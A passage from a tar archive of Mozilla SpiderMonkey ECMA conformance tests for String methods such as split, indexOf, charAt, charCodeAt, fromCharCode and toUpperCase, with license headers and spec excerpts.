0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ k +")", k, TEST_STRING.indexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), k ) ); } for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ k+1 +")", -1, TEST_STRING.indexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), k+1 ) ); } new TestCase( SECTION, "String.indexOf(" +TEST_STRING + ", 0 )", 0, TEST_STRING.indexOf( TEST_STRING, 0 ) ); new TestCase( SECTION, "String.indexOf(" +TEST_STRING + ", 1 )", -1, TEST_STRING.indexOf( TEST_STRING, 1 )); print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.8-3.js0000664000175000017500000001263712106270663020730 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.8-3.js ECMA Section: 15.5.4.8 String.prototype.split( separator ) Description: Returns an Array object into which substrings of the result of converting this object to a string have been stored. The substrings are determined by searching from left to right for occurrences of the given separator; these occurrences are not part of any substring in the returned array, but serve to divide up this string value. The separator may be a string of any length. As a special case, if the separator is the empty string, the string is split up into individual characters; the length of the result array equals the length of the string, and each substring contains one character. If the separator is not supplied, then the result array contains just one string, which is the string. When the split method is called with one argument separator, the following steps are taken: 1. Call ToString, giving it the this value as its argument. 2. Create a new Array object of length 0 and call it A. 3. If separator is not supplied, call the [[Put]] method of A with 0 and Result(1) as arguments, and then return A. 4. Call ToString(separator). 5. Compute the number of characters in Result(1). 6. Compute the number of characters in the string that is Result(4). 7. Let p be 0. 8. If Result(6) is zero (the separator string is empty), go to step 17. 9. Compute the smallest possible integer k not smaller than p such that k+Result(6) is not greater than Result(5), and for all nonnegative integers j less than Result(6), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then go to step 14. 10. Compute a string value equal to the substring of Result(1), consisting of the characters at positions p through k1, inclusive. 11. Call the [[Put]] method of A with A.length and Result(10) as arguments. 12. Let p be k+Result(6). 13. Go to step 9. 14. Compute a string value equal to the substring of Result(1), consisting of the characters from position p to the end of Result(1). 15. Call the [[Put]] method of A with A.length and Result(14) as arguments. 16. Return A. 17. If p equals Result(5), return A. 18. Compute a string value equal to the substring of Result(1), consisting of the single character at position p. 19. Call the [[Put]] method of A with A.length and Result(18) as arguments. 20. Increase p by 1. 21. Go to step 17. Note that the split function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.8-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.split"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = ""; var EXPECT = new Array(); // this.toString is the empty string. new TestCase( SECTION, "var s = new String(); s.split().length", 1, eval("var s = new String(); s.split().length") ); new TestCase( SECTION, "var s = new String(); s.split()[0]", "", eval("var s = new String(); s.split()[0]") ); // this.toString() is the empty string, separator is specified. new TestCase( SECTION, "var s = new String(); s.split('').length", 0, eval("var s = new String(); s.split('').length") ); new TestCase( SECTION, "var s = new String(); s.split(' ').length", 1, eval("var s = new String(); s.split(' ').length") ); // this to string is " " new TestCase( SECTION, "var s = new String(' '); s.split().length", 1, eval("var s = new String(' '); s.split().length") ); new TestCase( SECTION, "var s = new String(' '); s.split()[0]", " ", eval("var s = new String(' '); s.split()[0]") ); new TestCase( SECTION, "var s = new String(' '); s.split('').length", 1, eval("var s = new String(' '); s.split('').length") ); new TestCase( SECTION, "var s = new String(' '); s.split('')[0]", " ", eval("var s = new String(' '); s.split('')[0]") ); new TestCase( SECTION, "var s = new String(' '); s.split(' ').length", 2, eval("var s = new String(' '); s.split(' ').length") ); new TestCase( SECTION, "var s = new String(' '); s.split(' ')[0]", "", eval("var s = new String(' '); s.split(' ')[0]") ); new TestCase( SECTION, "\"\".split(\"\").length", 0, ("".split("")).length ); new TestCase( SECTION, "\"\".split(\"x\").length", 1, ("".split("x")).length ); new TestCase( SECTION, "\"\".split(\"x\")[0]", "", ("".split("x"))[0] ); test(); function Split( string, separator ) { string = String( string ); var A = new Array(); if ( arguments.length < 2 ) { A[0] = string; return A; } separator = String( separator ); var str_len = String( string ).length; var sep_len = String( separator ).length; var p = 0; var k = 0; if ( sep_len == 0 ) { for ( ; p < str_len; p++ ) { A[A.length] = String( string.charAt(p) ); } } return A; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.2-1.js0000664000175000017500000000317112106270663020711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.2-1.js ECMA Section: 15.5.4.2 String.prototype.toString() Description: Returns this string value. Note that, for a String object, the toString() method happens to return the same thing as the valueOf() method. The toString function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.toString()", "", String.prototype.toString() ); new TestCase( SECTION, "(new String()).toString()", "", (new String()).toString() ); new TestCase( SECTION, "(new String(\"\")).toString()", "", (new String("")).toString() ); new TestCase( SECTION, "(new String( String() )).toString()","", (new String(String())).toString() ); new TestCase( SECTION, "(new String( \"h e l l o\" )).toString()", "h e l l o", (new String("h e l l o")).toString() ); new TestCase( SECTION, "(new String( 0 )).toString()", "0", (new String(0)).toString() ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.2-3.js0000664000175000017500000000603012106270663020707 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.2-1.js ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... ) Description: Return a string value containing as many characters as the number of arguments. Each argument specifies one character of the resulting string, with the first argument specifying the first character, and so on, from left to right. An argument is converted to a character by applying the operation ToUint16_t and regarding the resulting 16bit integeras the Unicode encoding of a character. If no arguments are supplied, the result is the empty string. This test covers Basic Latin (range U+0020 - U+007F) Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.3.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.fromCharCode()"; writeHeaderToLog( SECTION + " "+ TITLE); for ( CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) { new TestCase( SECTION, "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)", ToUint16(CHARCODE), (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } for ( CHARCODE = 256; CHARCODE < 65536; CHARCODE+=333 ) { new TestCase( SECTION, "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)", ToUint16(CHARCODE), (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } for ( CHARCODE = 65535; CHARCODE < 65538; CHARCODE++ ) { new TestCase( SECTION, "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)", ToUint16(CHARCODE), (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } for ( CHARCODE = Math.pow(2,32)-1; CHARCODE < Math.pow(2,32)+1; CHARCODE++ ) { new TestCase( SECTION, "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)", ToUint16(CHARCODE), (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } for ( CHARCODE = 0; CHARCODE > -65536; CHARCODE-=3333 ) { new TestCase( SECTION, "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)", ToUint16(CHARCODE), (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } new TestCase( SECTION, "(String.fromCharCode(65535)).charCodeAt(0)", 65535, (String.fromCharCode(65535)).charCodeAt(0) ); new TestCase( SECTION, "(String.fromCharCode(65536)).charCodeAt(0)", 0, (String.fromCharCode(65536)).charCodeAt(0) ); new TestCase( SECTION, "(String.fromCharCode(65537)).charCodeAt(0)", 1, (String.fromCharCode(65537)).charCodeAt(0) ); test(); function ToUint16( num ) { num = Number( num ); if ( isNaN( num ) || num == 0 || num == Number.POSITIVE_INFINITY || num == Number.NEGATIVE_INFINITY ) { return 0; } var sign = ( num < 0 ) ? -1 : 1; num = sign * Math.floor( Math.abs( num ) ); num = num % Math.pow(2,16); num = ( num > -65536 && num < 0) ? 65536 + num : num; return num; } mozjs17.0.0/js/src/tests/ecma/String/15.5.1.js0000664000175000017500000001452112106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.1.js ECMA Section: 15.5.1 The String Constructor called as a Function 15.5.1.1 String(value) 15.5.1.2 String() Description: When String is called as a function rather than as a constructor, it performs a type conversion. - String(value) returns a string value (not a String object) computed by ToString(value) - String() returns the empty string "" Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The String Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String('string primitive')", "string primitive", String('string primitive') ); new TestCase( SECTION, "String(void 0)", "undefined", String( void 0) ); new TestCase( SECTION, "String(null)", "null", String( null ) ); new TestCase( SECTION, "String(true)", "true", String( true) ); new TestCase( SECTION, "String(false)", "false", String( false ) ); new TestCase( SECTION, "String(Boolean(true))", "true", String(Boolean(true)) ); new TestCase( SECTION, "String(Boolean(false))", "false", String(Boolean(false)) ); new TestCase( SECTION, "String(Boolean())", "false", String(Boolean(false)) ); new TestCase( SECTION, "String(new Array())", "", String( new Array()) ); new TestCase( SECTION, "String(new Array(1,2,3))", "1,2,3", String( new Array(1,2,3)) ); new TestCase( SECTION, "String( Number.NaN )", "NaN", String( Number.NaN ) ); new TestCase( SECTION, "String( 0 )", "0", String( 0 ) ); new TestCase( SECTION, "String( -0 )", "0", String( -0 ) ); new TestCase( SECTION, "String( Number.POSITIVE_INFINITY )", "Infinity", String( Number.POSITIVE_INFINITY ) ); new TestCase( SECTION, "String( Number.NEGATIVE_INFINITY )", "-Infinity", String( Number.NEGATIVE_INFINITY ) ); new TestCase( SECTION, "String( -1 )", "-1", String( -1 ) ); // cases in step 6: integers 1e21 > x >= 1 or -1 >= x > -1e21 new TestCase( SECTION, "String( 1 )", "1", String( 1 ) ); new TestCase( SECTION, "String( 10 )", "10", String( 10 ) ); new TestCase( SECTION, "String( 100 )", "100", String( 100 ) ); new TestCase( SECTION, "String( 1000 )", "1000", String( 1000 ) ); new TestCase( SECTION, "String( 10000 )", "10000", String( 10000 ) ); new TestCase( SECTION, "String( 10000000000 )", "10000000000", String( 10000000000 ) ); new TestCase( SECTION, "String( 10000000000000000000 )", "10000000000000000000", String( 10000000000000000000 ) ); new TestCase( SECTION, "String( 100000000000000000000 )","100000000000000000000",String( 100000000000000000000 ) ); new TestCase( SECTION, "String( 12345 )", "12345", String( 12345 ) ); new TestCase( SECTION, "String( 1234567890 )", "1234567890", String( 1234567890 ) ); new TestCase( SECTION, "String( -1 )", "-1", String( -1 ) ); new TestCase( SECTION, "String( -10 )", "-10", String( -10 ) ); new TestCase( SECTION, "String( -100 )", "-100", String( -100 ) ); new TestCase( SECTION, "String( -1000 )", "-1000", String( -1000 ) ); new TestCase( SECTION, "String( -1000000000 )", "-1000000000", String( -1000000000 ) ); new TestCase( SECTION, "String( -1000000000000000 )", "-1000000000000000", String( -1000000000000000 ) ); new TestCase( SECTION, "String( -100000000000000000000 )", "-100000000000000000000", String( -100000000000000000000 ) ); new TestCase( SECTION, "String( -1000000000000000000000 )", "-1e+21", String( -1000000000000000000000 ) ); new TestCase( SECTION, "String( -12345 )", "-12345", String( -12345 ) ); new TestCase( SECTION, "String( -1234567890 )", "-1234567890", String( -1234567890 ) ); // cases in step 7: numbers with a fractional component, 1e21> x >1 or -1 > x > -1e21, new TestCase( SECTION, "String( 1.0000001 )", "1.0000001", String( 1.0000001 ) ); // cases in step 8: fractions between 1 > x > -1, exclusive of 0 and -0 // cases in step 9: numbers with 1 significant digit >= 1e+21 or <= 1e-6 new TestCase( SECTION, "String( 1000000000000000000000 )", "1e+21", String( 1000000000000000000000 ) ); new TestCase( SECTION, "String( 10000000000000000000000 )", "1e+22", String( 10000000000000000000000 ) ); // cases in step 10: numbers with more than 1 significant digit >= 1e+21 or <= 1e-6 new TestCase( SECTION, "String( 1.2345 )", "1.2345", String( 1.2345)); new TestCase( SECTION, "String( 1.234567890 )", "1.23456789", String( 1.234567890 )); new TestCase( SECTION, "String( .12345 )", "0.12345", String(.12345 ) ); new TestCase( SECTION, "String( .012345 )", "0.012345", String(.012345) ); new TestCase( SECTION, "String( .0012345 )", "0.0012345", String(.0012345) ); new TestCase( SECTION, "String( .00012345 )", "0.00012345", String(.00012345) ); new TestCase( SECTION, "String( .000012345 )", "0.000012345", String(.000012345) ); new TestCase( SECTION, "String( .0000012345 )", "0.0000012345", String(.0000012345) ); new TestCase( SECTION, "String( .00000012345 )", "1.2345e-7", String(.00000012345)); new TestCase( "15.5.2", "String()", "", String() ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.12-2.js0000664000175000017500000002167512106270663021004 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.12-2.js ECMA Section: 15.5.4.12 String.prototype.toUpperCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toUpperCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.12-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toUpperCase()"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = ""; var EXPECT_STRING = ""; // basic latin test for ( var i = 0; i < 0x007A; i++ ) { var u = new Unicode(i); TEST_STRING += String.fromCharCode(i); EXPECT_STRING += String.fromCharCode( u.upper ); } // don't print out the value of the strings since they contain control // characters that break the driver var isEqual = EXPECT_STRING == (new String( TEST_STRING )).toUpperCase(); new TestCase( SECTION, "isEqual", true, isEqual); test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.4-1.js0000664000175000017500000000362212106270663020714 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.4-1.js ECMA Section: 15.5.4.4 String.prototype.charAt(pos) Description: Returns a string containing the character at position pos in the string. If there is no character at that string, the result is the empty string. The result is a string value, not a String object. When the charAt method is called with one argument, pos, the following steps are taken: 1. Call ToString, with this value as its argument 2. Call ToInteger pos In this test, this is a String, pos is an integer, and all pos are in range. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charAt"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); var item = 0; var i; for ( i = 0x0020; i < 0x007e; i++, item++) { new TestCase( SECTION, "TEST_STRING.charAt("+item+")", String.fromCharCode( i ), TEST_STRING.charAt( item ) ); } for ( i = 0x0020; i < 0x007e; i++, item++) { new TestCase( SECTION, "TEST_STRING.charAt("+item+") == TEST_STRING.substring( "+item +", "+ (item+1) + ")", true, TEST_STRING.charAt( item ) == TEST_STRING.substring( item, item+1 ) ); } new TestCase( SECTION, "String.prototype.charAt.length", 1, String.prototype.charAt.length ); print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.5-4.js0000664000175000017500000000237012106270663020717 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5-4.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a nonnegative integer less than 2^16. Author: christine@netscape.com Date: 28 october 1997 */ var VERSION = "0697"; startTest(); var SECTION = "15.5.4.5-4"; writeHeaderToLog( SECTION + " String.prototype.charCodeAt(pos)" ); var MAXCHARCODE = Math.pow(2,16); var item=0, CHARCODE; for ( CHARCODE=0; CHARCODE <256; CHARCODE++ ) { new TestCase( SECTION, "(String.fromCharCode("+CHARCODE+")).charCodeAt(0)", CHARCODE, (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } for ( CHARCODE=256; CHARCODE < 65536; CHARCODE+=999 ) { new TestCase( SECTION, "(String.fromCharCode("+CHARCODE+")).charCodeAt(0)", CHARCODE, (String.fromCharCode(CHARCODE)).charCodeAt(0) ); } new TestCase( SECTION, "(String.fromCharCode(65535)).charCodeAt(0)", 65535, (String.fromCharCode(65535)).charCodeAt(0) ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.1-3.js0000664000175000017500000000173412106270663020714 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1-3.js ECMA Section: 15.5.3.1 Properties of the String Constructor Description: The initial value of String.prototype is the built-in String prototype object. This property shall have the attributes [ DontEnum, DontDelete, ReadOnly] This tests the DontDelete attribute. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the String Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( String.prototype )", false, eval("delete ( String.prototype )") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.js0000664000175000017500000000205212106270663020407 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1.js ECMA Section: 15.5.3 Properties of the String Constructor Description: The value of the internal [[Prototype]] property of the String constructor is the Function prototype object. In addition to the internal [[Call]] and [[Construct]] properties, the String constructor also has the length property, as well as properties described in 15.5.3.1 and 15.5.3.2. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3"; var VERSION = "ECMA_2"; startTest(); var passed = true; writeHeaderToLog( SECTION + " Properties of the String Constructor" ); new TestCase( SECTION, "String.length", 1, String.length ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.5-1.js0000664000175000017500000000377512106270663020726 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5.1.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a number (a nonnegative integer less than 2^16) representing the Unicode encoding of the character at position pos in this string. If there is no character at that position, the number is NaN. When the charCodeAt method is called with one argument pos, the following steps are taken: 1. Call ToString, giving it the theis value as its argument 2. Call ToInteger(pos) 3. Compute the number of characters in result(1). 4. If Result(2) is less than 0 or is not less than Result(3), return NaN. 5. Return a value of Number type, of positive sign, whose magnitude is the Unicode encoding of one character from result 1, namely the characer at position Result (2), where the first character in Result(1) is considered to be at position 0. Note that the charCodeAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charCodeAt"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); for ( j = 0, i = 0x0020; i < 0x007e; i++, j++ ) { new TestCase( SECTION, "TEST_STRING.charCodeAt("+j+")", i, TEST_STRING.charCodeAt( j ) ); } new TestCase( SECTION, 'TEST_STRING.charCodeAt('+i+')', NaN, TEST_STRING.charCodeAt( i ) ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.8-2.js0000664000175000017500000002050312106270663020716 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.8-2.js ECMA Section: 15.5.4.8 String.prototype.split( separator ) Description: Returns an Array object into which substrings of the result of converting this object to a string have been stored. The substrings are determined by 